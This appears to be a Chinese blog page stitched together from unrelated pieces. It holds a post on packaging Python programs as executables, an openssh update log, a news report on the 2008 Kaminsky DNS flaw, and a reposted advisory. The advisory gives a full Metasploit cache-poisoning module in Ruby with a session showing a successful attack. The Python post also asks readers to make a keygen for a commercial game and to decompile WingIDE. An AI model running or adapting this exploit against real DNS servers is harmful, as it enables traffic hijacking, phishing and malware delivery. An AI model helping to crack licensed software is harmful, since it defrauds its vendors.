Hacker技术

如何“编译”Python程序

●如何“编译”Python程序

主要更新记录:
2005年6月4日更新,添加movpy条目。同时针对http://blender.blogchina.com/1776425.html,做如下申明:

凡欲转载、部分转载、引用我原创的文章,请标明作者是牡蛎,同时请给出原始连接;你可以部分转载、引用我的文章,前提是这不会引起他人误解我的原意。未经书面允许,我的文章、文章部分不可以用于商业用途(含传统出版物、需要积分或者虚拟货币才可以浏览的网上内容)。如果你不同意,请勿转载、部分转载、引用。谢谢合作。
2005年11月更新,添加Shed Skin - A Python-to-C++ Compiler、Psyco、PyPy、pyc。今天的更新就像在说绕口令。
2006年01月24日,movpy变成商业软件了 🙁
2006年11月26日,添加了对“反编译”“编译”之后的文件的看法
2006年12月06日,添加Jungle

如何编译Python程序(或者如何由Python生成可执行文件)是一个非常常见的问题,总是有人问,列出来,google搜索的时候就可以看到了。如果还有人说"找不到相关资料",唯一的解释就是这个人太懒了,根本没有去找。

如果转载,请注明作者是牡蛎,出自http://blender.blogchina.com/523381.html。

   0. Python(及其它高级的脚本语言)不存在把指令编译到本地代码的工具,但是总是可以发布可执行文件。

py2exe     http://py2exe.sf.net
只支持windows平台,应该是大家听到最多的一个名字了,用户不少,所以有问题的话在它的mail list里面很容易找到答案。文档中提到了"无法找到某某code"、使用opengl等模块的问题

PyPackage    http://codereactor.net/projects/pypack/index.html
我觉得py2exe等等工具还是罗嗦得像唐僧,需要在配置文件中写上需要的数据文件。作者完全无视这样一个事实:我需要发布可执行文件的时候,程序已经完工了,所有的数据文件就在主程序所在目录下,所以多数情况下,根本不用到别的地方搜索。现在终于有人站了出来,PyPackage实际上并不是一个程序打包的工具,而只是简化py2exe的操作,甚至可以自动调用InnoSetup 5制作安装文件——不过这个软件并不智能,会打包很多不需要的文件

Installer     http://www.mcmillan-inc.com/installer_dnld.html
可以产生windows、linux平台的可执行文件,现在作者主页连不上去了,但是搜索一下可以在其它地方下载
自带一个小程序写配置文件,如果程序较复杂,还是需要手工修改这个配置文件。支持从py15以来的所有Python版本
2005年9月,冰冻牡蛎更新:Giovanni Bajo获得Gordon McMillan's Installer的授权、版权改变为GPL,并在http://pyinstaller.hpcf.upr.edu/继续开发PYinstaller。2006年9月更新:这里可以看到Gordon McMillan's的原始网站的镜像

Python自带的freeze.py(不过windows版本不带这个,你可以自己下载Python的源程序再找)。这个是我最不推荐的一种方法(为什么?自己看),不过如果你的Python程序要发布到其它工具不支持的平台上,可以考虑这个方法

新出来的Pyco    http://www.pythonapocrypha.com/projects/pyco/
还没用过

Squeeze    http://starship.python.net/crew/fredrik/ipa/squeeze.htm
还没用过,只支持Python 1.4

cx_Freeze  http://starship.python.net/crew/atuining/cx_Freeze/
winodws、linux平台。简单的程序甚至都不需要写配置文件

Stand alone Python for Windows http://arctrix.com/nas/python/standalone.html
如果你不介意源程序太过"暴露"的话,用这个吧
会不会觉得Updated: Sun, 09 Apr 2000 18:39:54 -0600 扎眼?如果你看一看它的VC源代码,就不会这么想了——其实这是普遍适用于win系统的方法,无论是98、2000或者xp。也许也可以用到linux上——我不懂linux,如果真的可以这么做,还请告诉我。

py2app    http://undefined.org/python/
支持linux平台的工具可能也支持mac os,或者直接使用这个py2app。具体就不知道了,只吃过苹果,还没玩过苹果呢

Movable Python  http://www.voidspace.org.uk/python/movpy/
这个其实是使用py2exe制作的、可以放在U盘上的绿色Python。有使用py2app制作苹果版movpy和用cx_Freeze制作Linux版movpy的计划。懒到都不愿意学习py2exe、py2app或者cx_Freeze的人可以看看。

Shed Skin - A Python-to-C++ Compiler: 试验项目,windows上,连他的例子我都没有编译成功 :(。

Psyco: 给Python程序加速的东西,看不出对发布Python程序的直接好处,并且作者以后将致力于PyPy。

PyPy: 项目目标是纯Python实现的Python、速度比CPython快,将来可以帮助实现编译Python。

pyc: Python compiler in Python,一个用纯Python写的Python的bytecode编译器,可以优化输出的pyc文件。和PyPy一样,现在还看不出对发布Python程序的直接好处。只有py24的bytecode。pyc是pyvm这个新的python虚拟机的一部分。

Jungle: 使用GNU工具(as、ld和winres)把Python程序编译到windows的exe可执行文件。该可执行文件只使用基于python24的的pythonic.dll。猜测它支持的模块仅限于内部模块以及jungle.jgl列出的模块。只有可执行文件下载,而这个可执行文件也是用Jungle自己编译的。目前版本号都到1.10了,经常看0.xx的版本号,这个数字好大啊,娃哈哈。

另类的方法,对Python语言特性都还不是100%支持,众多的CPython模块也不可以使用,还有,我也没有试过:
for .NET的Python编译器(如Visual Python、IronPython),不过我可不喜欢为了一个芝麻大的软件安装.NET framework
用jython,然后用jbuilder、jsmooth、NativeJ之类的包裹一下,或者用gcj编译成本地代码

2006年11月26日,近来有些人问,如何保护python开发的商业软件/闭源软件。

我的观点是,纯Python程序,又不想用C语言(其实C语言程序也可以破解,所以最好的方法就是不发布任何程序,嘿嘿),可以试试pyobfuscate混淆源代码,增加可能被反编译获得的源代码的阅读难度。不过pyobfuscate也好久没有更新了,娃哈哈。而实际上,没必要考虑别人会获得源代码的问题。 考虑(尤其是在自己的程序还没有写出来的时候)别人会反编译自己的Python程序,有点杞人忧天。

在*nix下的话,似乎可以(我不用*nix,并不确定)使用Python自带的freeze.py,把源程序的字节码转换成C程序,然后使用GCC编译,这样应该看不到字节码了。在windows下,不知道怎么使用freeze.py,总报错——谁知道的话告诉我吧。但是如果想实现跨平台,使用freeze.py的方法似乎不可取。

首先我相信,目前没有软件可以很好反编译Python 2.4及之后的版本生成的字节码,所以采用新版本Python“编译”到可执行文件,是安全的。

其次,据我所知,目前最成熟的反编译软件只有decompyle。而不是象某些人为了夸大问题的重要性,而口吐莲花所说的“现在有很多Python的反编译软件”。而我不相信有人愿意花钱买这个“唯一的且很多的”反编译软件,理由有二
看看decompyle页面更新日期,是2004年。我猜测作者把这个软件商业化之后并不成功,并没有太多人需要反编译自己或者他人的Python程序。导致作者没有足够的收入或者兴趣继续完善了
有人愿意花钱去反编译一个还不存在地软件,或者一个不出名的程序?

次成熟的反编译软件是decompiler.py。但是它比商业软件decompyle差远了。我没有去做试验,是他自己的主页承认说有很多局限的。

最后,真诚请教那些有“很多”Python反编译程序的高手,两个问题:
subsystem.htm
这是将数独游戏和消除游戏结合起来的益智游戏,未注册的话,只能累积玩60分钟。这是Python+pygame制作的软件,使用py2exe发布,可否麻烦高手——别怕,我不要它的源程序——看看它的注册部分,整个注册机/注册码出来?
wingide
这个有名的Python商业ide,我不确定它是不是使用py2exe制作的,而且它的规模比较大。我对它的源代码有点兴趣,有人说看不到它的源代码,但是我觉得\bin\2.4\src.zip里面的一堆pyo,是如假包换的源代码的字节码,如果真是如此,麻烦高手在空余时间,反编译一份喽。

yum update openssh

yum update openssh
Setting up Update Process
Setting up repositories
update                    100% |=========================|  951 B    00:00    
base                      100% |=========================| 1.1 kB    00:00    
addons                    100% |=========================|  951 B    00:00    
extras                    100% |=========================| 1.1 kB    00:00    
Reading repository metadata in from local files
Resolving Dependencies
--> Populating transaction set with selected packages. Please wait.
---> Package openssh.i386 0:3.9p1-8.RHEL4.24 set to be updated
--> Running transaction check
--> Processing Dependency: openssh = 3.9p1-8.RHEL4.20 for package: openssh-askpass-gnome
--> Processing Dependency: openssh = 3.9p1-8.RHEL4.20 for package: openssh-clients
--> Processing Dependency: openssh = 3.9p1-8.RHEL4.20 for package: openssh-server
--> Processing Dependency: openssh = 3.9p1-8.RHEL4.20 for package: openssh-askpass
--> Restarting Dependency Resolution with new changes.
--> Populating transaction set with selected packages. Please wait.
---> Package openssh-askpass-gnome.i386 0:3.9p1-8.RHEL4.24 set to be updated
---> Package openssh-askpass.i386 0:3.9p1-8.RHEL4.24 set to be updated
---> Package openssh-clients.i386 0:3.9p1-8.RHEL4.24 set to be updated
---> Package openssh-server.i386 0:3.9p1-8.RHEL4.24 set to be updated
--> Running transaction check

Dependencies Resolved

=============================================================================
Package                 Arch       Version          Repository        Size
=============================================================================
Updating:
openssh                 i386       3.9p1-8.RHEL4.24  base              323 k
Updating for dependencies:
openssh-askpass         i386       3.9p1-8.RHEL4.24  base               51 k
openssh-askpass-gnome   i386       3.9p1-8.RHEL4.24  base               33 k
openssh-clients         i386       3.9p1-8.RHEL4.24  base              345 k
openssh-server          i386       3.9p1-8.RHEL4.24  base              211 k

Transaction Summary
=============================================================================
Install      0 Package(s)        
Update       5 Package(s)        
Remove       0 Package(s)        
Total download size: 964 k
Is this ok [y/N]: y
Downloading Packages:
(1/5): openssh-askpass-gn 100% |=========================|  33 kB    00:00    
(2/5): openssh-askpass-3. 100% |=========================|  51 kB    00:00    
(3/5): openssh-3.9p1-8.RH 100% |=========================| 323 kB    00:03    
(4/5): openssh-clients-3. 100% |=========================| 345 kB    00:02    
(5/5): openssh-server-3.9 100% |=========================| 211 kB    00:01    
Running Transaction Test
Finished Transaction Test
Transaction Test Succeeded
Running Transaction
  Updating  : openssh                      ####################### [ 1/10]
  Updating  : openssh-askpass-gnome        ####################### [ 2/10]
  Updating  : openssh-askpass              ####################### [ 3/10]
  Updating  : openssh-clients              ####################### [ 4/10]
  Updating  : openssh-server               ####################### [ 5/10]
  Cleanup   : openssh-askpass-gnome        ####################### [ 6/10]
  Cleanup   : openssh-askpass              ####################### [ 7/10]
  Cleanup   : openssh                      ####################### [ 8/10]
  Cleanup   : openssh-clients              ####################### [ 9/10]
  Cleanup   : openssh-server               ####################### [10/10]

Updated: openssh.i386 0:3.9p1-8.RHEL4.24
Dependency Updated: openssh-askpass.i386 0:3.9p1-8.RHEL4.24 openssh-askpass-gnome.i386 0:3.9p1-8.RHEL4.24 openssh-clients.i386 0:3.9p1-8.RHEL4.24 openssh-server.i386 0:3.9p1-8.RHEL4.24
Complete!

DNS漏洞攻击代码现身 普通网民将成攻击对象

北京时间7月24日消息,据国外媒体报道,一个互联网域名服务器(DNS)重大漏洞的生成机制和技术细节周一被美国安全公司Matasano“出于疏忽大意”曝光后,开源安全漏洞检测工具Metasploit开发者们周三已发布了针对该DNS漏洞的攻击代码。安全专家表示,如果某家互联网服务供应商(ISP)没有安装相应漏洞补丁程序,则黑客们可针对使用该ISP服务的普通网民发起“网络钓鱼 ”(phishing)攻击,而这些网民根本无法意识到自己已被攻击。

今年年初,美国网络安全产品和服务提供商IOActive安全研究员丹·卡明斯基(Dan Kaminsky)首先发现了这一严重DNS漏洞,他随后与微软等科技巨头取得了联系。各大计算机业巨头已于7月8日发布了一款软件补丁。

安全专家称,对于那些还没有给服务器安装该DNS漏洞补丁的ISP来说,黑客们可针对使用该 ISP服务的普通网民发起攻击。其方式是在网民进行各种程序升级时,黑客们将悄悄把这些网民的访问地址转到一台假冒服务器上面;在用户进行软件升级的过程当中,自己机器上已被安装了恶意软件。

美国知名杀毒软件开发商赛门铁克(Symantec)技术主管祖尔菲卡·拉米扎(Zulfikar Ramizan)对此表示:“该DNS攻击的可怕之处就在于:在发生上述攻击时,普通终端电脑用户根本就不会觉察到任何异常现象。”

漏洞细节被泄露

卡明斯基此前曾表示,在各大企业用户安装这款DNS漏洞补丁之前,不会对外公布该漏洞的技术细节,而会等到在今年8月举行的“黑帽”(Black Hat)安全技术大会上再公布相关资料。但本周一Matasano不慎在公司博客上披露了该漏洞的技术详情。虽然Matasano随即删除了这篇文章,但相关内容已被多家网站转载。

尽管该DNS漏洞补丁已于7月8日发布,但目前全球绝大多数企业用户仍没有安装该补丁,原因是这些企业用户需首先检测该补丁的兼容性。安全公司ISC总裁保罗·维克西(Paul Vixie)对此表示:“多数企业目前还没有安装该DNS补丁,这可是个大问题。”

另一家安全公司Trusteer首席技术官(CTO)阿米特·克莱恩(Amit Klein)则表示,周三出现的DNS漏洞攻击代码“看起来是真的”;利用该攻击代码,黑客们将可针对还没有安装补丁的DNS服务器发起攻击。他说:“这种攻击危害性极大。如果攻击者很狡猾,我们根本就不会发觉自己已遭到攻击。”

代码及细节:

http://www.caughq.org/exploits/CAU-EX-2008-0002.txt

[Copy to clipboard] [ - ]
CODE:
____ ____ __ __
/ \ / \ | | | |
----====####/ /\__\##/ /\ \##| |##| |####====----
| | | |__| | | | | |
| | ___ | __ | | | | |
------======######\ \/ /#| |##| |#| |##| |######======------
\____/ |__| |__| \______/

Computer Academic Underground
[url]http://www.caughq.org[/url]
Exploit Code

===============/========================================================
Exploit ID: CAU-EX-2008-0002
Release Date: 2008.07.23
Title: bailiwicked_host.rb
Description: Kaminsky DNS Cache Poisoning Flaw Exploit
Tested: BIND 9.4.1-9.4.2
Attributes: Remote, Poison, Resolver, Metasploit
Exploit URL: [url]http://www.caughq.org/exploits/CAU-EX-2008-0002.txt[/url]
Author/Email: I)ruid
H D Moore
===============/========================================================

Description
===========

This exploit targets a fairly ubiquitous flaw in DNS implementations
which allow the insertion of malicious DNS records into the cache of the
target nameserver. This exploit caches a single malicious host entry
into the target nameserver. By causing the target nameserver to query
for random hostnames at the target domain, the attacker can spoof a
response to the target server including an answer for the query, an
authority server record, and an additional record for that server,
causing target nameserver to insert the additional record into the
cache.

Example
=======

# /msf3/msfconsole

_ _ _ _
| | | | (_) |
_ __ ___ ___| |_ __ _ ___ _ __ | | ___ _| |_
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __|
| | | | | | __/ || (_| \__ \ |_) | | (_) | | |_
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__|
| |
|_|

=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 72 aux

msf > use auxiliary/spoof/dns/bailiwicked_host
msf auxiliary(bailiwicked_host) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
HOSTNAME pwned.example.com yes Hostname to hijack
NEWADDR 1.3.3.7 yes New address for hostname
RECONS 208.67.222.222 yes Nameserver used for reconnaissance
RHOST yes The target address
SRCPORT yes The target server's source query port (0 for automatic)
XIDS 10 yes Number of XIDs to try for each query

msf auxiliary(bailiwicked_host) > set RHOST A.B.C.D
RHOST => A.B.C.D

msf auxiliary(bailiwicked_host) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] >> ADDRESS: A.B.C.D PORT: 48178
[*] FAIL: This server uses static source ports and is vulnerable to poisoning

msf auxiliary(bailiwicked_host) > set SRCPORT 0
SRCPORT => 0

msf auxiliary(bailiwicked_host) > run
[*] Switching to target port 48178 based on Metasploit service
[*] Targeting nameserver A.B.C.D
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got answer with 2 answers, 0 authorities
[*] Got an NS record: example.com. 172643 IN NS ns89.worldnic.com.
[*] Querying recon nameserver for address of ns89.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns89.worldnic.com. 172794 IN A 205.178.190.45
[*] Checking Authoritativeness: Querying 205.178.190.45 for example.com....
[*] ns89.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 172643 IN NS ns90.worldnic.com.
[*] Querying recon nameserver for address of ns90.worldnic.com....
[*] Got answer with 1 answers, 0 authorities
[*] Got an A record: ns90.worldnic.com. 172794 IN A 205.178.144.45
[*] Checking Authoritativeness: Querying 205.178.144.45 for example.com....
[*] ns90.worldnic.com. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject a poison record for pwned.example.com. into A.B.C.D:48178...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Poisoning successful after 7000 attempts: pwned.example.com == 1.3.3.7
[*] Auxiliary module execution completed
msf auxiliary(bailiwicked_host) >

msf auxiliary(bailiwicked_host) > nslookup pwned.example.com A.B.C.D
[*] exec: nslookup pwned.example.com A.B.C.D

Server: A.B.C.D
Address: A.B.C.D#53

Non-authoritative answer:
Name: pwned.example.com
Address: 1.3.3.7

Credits
=======

Dan Kaminsky is credited with originally discovering this vulnerability.

References
==========

[url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447[/url]
[url]http://www.kb.cert.org/vuls/id/800113[/url]

Metasploit
==========

require 'msf/core'
require 'net/dns'
require 'scruby'
require 'resolv'

module Msf

class Auxiliary::Spoof::Dns::BailiWickedHost < Msf::Auxiliary include Exploit::Remote::Ip def initialize(info = {}) super(update_info(info, 'Name' => 'DNS BailiWicked Host Attack',
'Description' => %q{
This exploit attacks a fairly ubiquitous flaw in DNS implementations which
Dan Kaminsky found and disclosed ~Jul 2008. This exploit caches a single
malicious host entry into the target nameserver by sending random sub-domain
queries to the target DNS server coupled with spoofed replies to those
queries from the authoritative nameservers for the domain which contain a
malicious host entry for the hostname to be poisoned in the authority and
additional records sections. Eventually, a guessed ID will match and the
spoofed packet will get accepted, and due to the additional hostname entry
being within bailiwick constraints of the original request the malicious host
entry will get cached.
},
'Author' => [ 'I)ruid', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 5585 $',
'References' =>
[
[ 'CVE', '2008-1447' ],
[ 'US-CERT-VU', '8000113' ],
[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0002.txt' ],
],
'Privileged' => true,
'Targets' =>
[
["BIND",
{
'Arch' => ARCH_X86,
'Platform' => 'linux',
},
],
],
'DisclosureDate' => 'Jul 21 2008'
))

register_options(
[
OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),
OptString.new('HOSTNAME', [true, 'Hostname to hijack', 'pwned.example.com']),
OptAddress.new('NEWADDR', [true, 'New address for hostname', '1.3.3.7']),
OptAddress.new('RECONS', [true, 'Nameserver used for reconnaissance', '208.67.222.222']),
OptInt.new('XIDS', [true, 'Number of XIDs to try for each query', 10]),
OptInt.new('TTL', [true, 'TTL for the malicious host entry', 31337]),
], self.class)

end

def auxiliary_commands
return { "check" => "Determine if the specified DNS server (RHOST) is vulnerable" }
end

def cmd_check(*args)
targ = args[0] || rhost()
if(not (targ and targ.length > 0))
print_status("usage: check [dns-server]")
return
end

print_status("Using the Metasploit service to verify exploitability...")
srv_sock = Rex::Socket.create_udp(
'PeerHost' => targ,
'PeerPort' => 53
)

random = false
ports = []
lport = nil

1.upto(5) do |i|

req = Resolv::DNS::Message.new
txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')

print_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")
t_port = t_port.to_i
if(lport and lport != t_port)
random = true
end
lport = t_port
ports << t_port end end end end srv_sock.close if(ports.length < 5) print_status("UNKNOWN: This server did not reply to our vulnerability check requests") return end if(random) print_status("PASS: This server does not use a static source port. Ports: #{ports.join(", ")}") print_status(" This server may still be exploitable, but not by this tool.") else print_status("FAIL: This server uses static source ports and is vulnerable to poisoning") end end def run target = rhost() source = Rex::Socket.source_address(target) sport = datastore['SRCPORT'] hostname = datastore['HOSTNAME'] + '.' address = datastore['NEWADDR'] recons = datastore['RECONS'] xids = datastore['XIDS'].to_i ttl = datastore['TTL'].to_i xidbase = rand(4)+2*10000 domain = hostname.match(/[^\x2e]+\x2e[^\x2e]+\x2e$/)[0] srv_sock = Rex::Socket.create_udp( 'PeerHost' => target,
'PeerPort' => 53
)

# Get the source port via the metasploit service if it's not set
if sport.to_i == 0
req = Resolv::DNS::Message.new
txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"
req.add_question(txt, Resolv::DNS::Resource::IN::TXT)
req.rd = 1

srv_sock.put(req.encode)
res, addr = srv_sock.recvfrom()

if res and res.length > 0
res = Resolv::DNS::Message.decode(res)
res.each_answer do |name, ttl, data|
if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)
t_addr, t_port = $1.split(':')
sport = t_port.to_i

print_status("Switching to target port #{sport} based on Metasploit service")
if target != t_addr
print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")
end
end
end
end
end

# Verify its not already cached
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

begin
cached = false
srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s == address)
t = Time.now + ttl
print_status("Failure: This hostname is already in the target cache: #{name} == #{address}")
print_status(" Cache entry expires on #{t.to_s}... sleeping.")
cached = true
sleep ttl
end
end
end
end until not cached
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")
end

res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver

print_status "Targeting nameserver #{target} for injection of #{hostname} as #{address}"

# Look up the nameservers for the domain
print_status "Querying recon nameserver for #{domain}'s nameservers..."
answer0 = res0.send(domain, Net::DNS::NS)
#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"

barbs = [] # storage for nameservers
answer0.answer.each do |rr0|
print_status " Got an #{rr0.type} record: #{rr0.inspect}"
if rr0.type == 'NS'
print_status " Querying recon nameserver for address of #{rr0.nsdname}..."
answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname
#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"
answer1.answer.each do |rr1|
print_status " Got an #{rr1.type} record: #{rr1.inspect}"
res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)
print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."
answer2 = res2.send(domain)
if answer2 and answer2.header.auth? and answer2.header.anCount >= 1
nsrec = {:name => rr0.nsdname, :addr => rr1.address}
barbs << nsrec print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as" end end end end if barbs.length == 0 print_status( "No DNS servers found.") srv_sock.close disconnect_ip return end # Flood the target with queries and spoofed responses, one will eventually hit queries = 0 responses = 0 connect_ip if not ip_sock print_status( "Attempting to inject a poison record for #{hostname} into #{target}:#{sport}...") while true randhost = Rex::Text.rand_text_alphanumeric(12) + '.' + domain # randomize the hostname # Send spoofed query req = Resolv::DNS::Message.new req.id = rand(2**16) req.add_question(randhost, Resolv::DNS::Resource::IN::A) req.rd = 1 buff = ( Scruby::IP.new( #:src => barbs[0][:addr].to_s,
:src => source,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => (rand((2**16)-1024)+1024).to_i,
:dport => 53
)/req.encode
).to_net
ip_sock.sendto(buff, target)
queries += 1

# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])
req.add_answer(randhost, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.add_authority(domain, ttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(hostname)))
req.add_additional(hostname, ttl, Resolv::DNS::Resource::IN::A.new(address))
req.qr = 1
req.ra = 1

xidbase.upto(xidbase+xids-1) do |id|
req.id = id
barbs.each do |barb|
buff = (
Scruby::IP.new(
#:src => barbs[i][:addr].to_s,
:src => barb[:addr].to_s,
:dst => target,
:proto => 17
)/Scruby::UDP.new(
:sport => 53,
:dport => sport.to_i
)/req.encode
).to_net
ip_sock.sendto(buff, target)
responses += 1
end
end

# status update
if queries % 1000 == 0
print_status("Sent #{queries} queries and #{responses} spoofed responses...")
end

# every so often, check and see if the target is poisoned...
if queries % 250 == 0
begin
query = Resolv::DNS::Message.new
query.add_question(hostname, Resolv::DNS::Resource::IN::A)
query.rd = 0

srv_sock.put(query.encode)
answer, addr = srv_sock.recvfrom()

if answer and answer.length > 0
answer = Resolv::DNS::Message.decode(answer)
answer.each_answer do |name, ttl, data|
if((name.to_s + ".") == hostname and data.address.to_s == address)
print_status("Poisoning successful after #{queries} attempts: #{name} == #{address}")
disconnect_ip
return
end
end
end
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_status("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")
end
end

end

end

end
end